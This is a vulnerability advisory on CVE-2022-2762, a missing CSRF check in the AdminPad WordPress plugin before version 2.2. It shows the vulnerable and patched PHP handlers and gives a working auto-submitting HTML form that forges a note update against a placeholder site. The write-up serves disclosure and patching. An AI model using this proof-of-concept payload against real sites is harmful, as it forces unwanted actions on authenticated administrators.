Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute unwanted actions on a web application while they are authenticated. In this long-read post, we will discuss an important security vulnerability (designated as CVE-2022-2762) affecting the AdminPad WordPress plugin in versions prior to 2.2. This vulnerability allows attackers to manipulate an administrator's notes using a CSRF attack.

Description of Vulnerability

The AdminPad WordPress plugin serves as an essential note-taking tool for web administrators. This plugin streamlines monitoring and documenting various administrative tasks, making it a popular choice for those managing a WordPress website.

Unfortunately, in versions prior to 2.2, the AdminPad plugin does not have a CSRF check when updating an admin's notes. This omission allows attackers to execute a CSRF attack against an authenticated admin, forcing them to update their notes without their consent.

For this vulnerability to be effectively exploited, an attacker must trick the admin into clicking a link or visiting a malicious web page. This action subsequently triggers a forged request to update the vulnerable WordPress site's admin notes.

The following code snippet demonstrates the issue in the affected versions of the AdminPad plugin

<?php
// admin-ajax.php
add_action('wp_ajax_update_adminpad', 'update_adminpad_callback');

function update_adminpad_callback() {
    if (!current_user_can('activate_plugins')) {
        die('You are not allowed to do that');
    }
    update_option('adminpad', $_POST['note']);
    die();
}

This code fails to include a CSRF check, resulting in a security vulnerability. In contrast, version 2.2 of the AdminPad plugin resolves the issue by implementing a standard WordPress nonce:

<?php
// admin-ajax.php
add_action('wp_ajax_update_adminpad', 'update_adminpad_callback');

function update_adminpad_callback() {
    if (!current_user_can('activate_plugins') || !wp_verify_nonce($_POST['nonce'], 'update_adminpad')) {
        die('You are not allowed to do that');
    }
    update_option('adminpad', $_POST['note']);
    die();
}

This updated code effectively mitigates the CSRF vulnerability, ensuring the protection of admin notes.

Original References

- CVE-2022-2762 - National Vulnerability Database (NVD)
- AdminPad Plugin Page on WordPress.org

Exploit Details

To exploit this vulnerability, an attacker must craft a webpage or HTML email containing a form. This form sends a POST request to the victim's WordPress website with the intention of updating the admin notes without the admin's consent.

Here is an example of a malicious HTML payload designed to exploit the vulnerability

<!DOCTYPE html>
<html>
<head>
    <title>CSRF Attack Example</title>
</head>
<body>
    <h1>Click the Button Below!</h1>
    <form action="http://vulnerable-wp-domain.com/wp-admin/admin-ajax.php"; method="POST" id="csrf_form">
        <input type="hidden" name="action" value="update_adminpad">
        <input type="hidden" name="note" value="This note has been updated by a CSRF attack.">
        <input type="submit" value="Click Me!">
    </form>
    <script>
    document.getElementById('csrf_form').submit(); // Auto-submit the form
    </script>
</body>
</html>

Administrators must exercise caution when clicking links or opening web pages from unknown sources. Importantly, to protect their WordPress website, admins should update the AdminPad plugin to version 2.2 or later.

Conclusion

In conclusion, CVE-2022-2762 is a concerning vulnerability in the AdminPad WordPress plugin versions prior to 2.2. To safeguard their website, admins should promptly update this plugin to the latest version available to mitigate the risk of CSRF attacks. Additionally, avoiding suspicious links, emails, and web pages is recommended to mitigate potential threats.

Timeline

Published on: 10/25/2022 17:15:00 UTC
Last modified on: 10/26/2022 01:47:00 UTC